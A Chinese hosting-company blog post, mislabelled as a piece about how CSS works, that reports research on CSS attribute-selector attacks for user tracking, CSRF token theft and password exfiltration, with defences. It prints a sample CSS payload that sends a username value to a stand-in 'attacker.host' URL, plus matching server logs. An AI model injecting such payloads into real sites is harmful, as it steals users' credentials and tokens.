这篇文章主要介绍“CSS工作原理是什么”，在日常操作中，相信很多人在CSS工作原理是什么问题上存在疑惑，小编查阅了各式资料，整理出简单好用的操作方法，希望对大家解答”CSS工作原理是什么”的疑惑有所帮助！接下来，请跟着小编一起来学习吧！

成都创新互联从2013年成立，先为印江等服务建站，印江等地企业，进行企业商务咨询服务。为印江企业网站制作PC+手机+微官网三网同步一站式服务解决您的所有建站问题。

CSS不仅在网页展现时强大，在追踪用户时也能发挥作用。它能够追踪网站用户，从网页中提取和窃取数据，收集表单域中输入的数据（包括密码），甚至让暗网用户暴露身份。

在过去的一个月里，三个有趣的研究项目都把CSS作为攻击媒介，显示了这种看似无害的语言也能被用来针对用户。

使用CSS跟踪页面上的用户

关于这个主题的第一个项目是JanBöhmer的一个项目“Crooked Style Sheets”，这个项目提供了一个无JavaScript的跟踪方案，可以通过CSS代码的页面交互跟踪用户。

Böhmer表示，他可以跟踪用户何时悬停鼠标，何时点击链接，何时在输入字段中输入文本，以及收集大量真实的用户代理信息，即便用户使用假的UA也没有用。

使用CSS窃取CSRF token

与Böhmer的工作不同，安全研究人员Dylan Ayrey（XSSJacking作者）也在上周末发布了新的研究成果，展示攻击者如何滥用CSS来窃取CSRF（用户身份验证）token。

Ayrey的攻击只适用于在各种HTML页面元素的属性中存储CSRF令牌的严重错误的网站和应用程序，因此其范围非常有限。这种攻击可能很容易被网站/应用程序所有者击败，他们发现一种更安全的方式来验证用户，而不会在网页的源代码中倾销CSRF令牌。

Ayrey的技术依赖于在网页中注入CSS代码，使用CSS属性选择器每次猜解CSRF token的一个字母。

攻击需要10秒钟左右完成，甚至可以在不需要iframe的情况下工作，不需要持续流量的远程服务器也就没有机会提醒出现问题的用户。

CSS属性选择器的威胁不止于此

Ayrey的研究只是停留在表面。过去的一个月中，安全研究员Mike Gualtieri也一直在努力使用相同的技术，但不仅仅是窃取token。

Gualtieri研究的是如何使用CSS属性选择器来猜测留在HTML标签内的敏感内容。

研究人员能够利用这种方法收集在表单域中输入的敏感用户数据，包括密码字符串。

工作原理

Ayrey和Gualtieri的方法都利用了CSS属性选择器，属性选择器能让开发人员查询单个属性的页面HTML标记，并且匹配它们的值。

举个例子，下面的CSS代码将搜索页面中的“href”属性包含“facebook”字符串的链接元素（“a”），并将所有这些链接加上蓝色。

a[href*="facebook"] {
  color: blue;
}

这些查询看似无害，但在研究人员看来可能被用来实施攻击。

这些查询可以拼接在一起，执行基本的字典暴力攻击，并尝试猜测属性的起始字母，然后将识别的字母添加到新的模式匹配语法中，从而攻击者可以猜解第二个，第三个等字母。

[attribute=value]   [foo=bar]     选择foo =“bar”的所有元素

[attribute~=value]  [foo~=bar]    选择所有包含单词“bar”的foo属性的元素

[attribute|=value]  [foo|=bar]    选择所有具有以“bar”开头的foo属性值的元素

[attribute^=value]  [foo^="bar"]  选择所有具有以“bar”开头的foo属性值的元素

[attribute$=value]  [foo$="bar"]  选择所有具有以“bar”结尾的foo属性值的元素

[attribute*=value]  [foo*="bar"]  选择所有包含子字符串“bar”的foo属性的元素

攻击者需要构造恶意HTTP请求，执行CSS代码选择器。

#username[value="ZeroC00L"] {
            background:url("https://attacker.host/ZeroC00L");
}

攻击者只需要通过对服务器404的错误筛选，找出想要的结果。

127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22

之后再把字符串组合成完整的数据

Z           # Z_
Ze          # Ze
Zer         # er
Zero        # ro
ZeroC       # oC
ZeroC0      # C0
ZeroC00     # 00
ZeroC00L    # 0L _L

Ayrey和Gualtieri用了两种不同的方法进行攻击。 Ayrey一次猜测最后一个字母，而Gualtieri则通过多个猜测来重建字符串，最后将他们组合。

两种方法都有效。Ayrey的方法噪音较大，但可以很容易自动化，而Gualtieri的方法更快（也可以自动化），但在某些情况下会依赖于人来拼接字符串。

Gualtieri将此技术命名为CSS Exfil。但CSS Exfil只能在加载时窃取页面上的HTML属性，不能在初始页面加载后从动态注入的代码中窃取。 Gualtieri认为这不是大问题，他的研究提到攻击者可以有各种解决方法。

防御方式

防范CSS Exfil攻击可以分为两个层面。首先，网站和网络应用程序作者可以实施内容安全策略（CSP），防止攻击者从外部加载CSS代码。

其次，访客还可以安装Gualtieri的Firefox或Chrome扩展程序，它可以检测Gualtieri在他的研究中记录的所有类型的CSS Exfil攻击，并在执行之前重写恶意代码。

你可以访问这里的网页进行测试。

到此，关于“CSS工作原理是什么”的学习就结束了，希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习，快去试试吧！若想继续学习更多相关知识，请继续关注创新互联网站，小编会继续努力为大家带来更多实用的文章！

当前文章：CSS工作原理是什么
文章来源：http://scgulin.cn/article/pspiie.html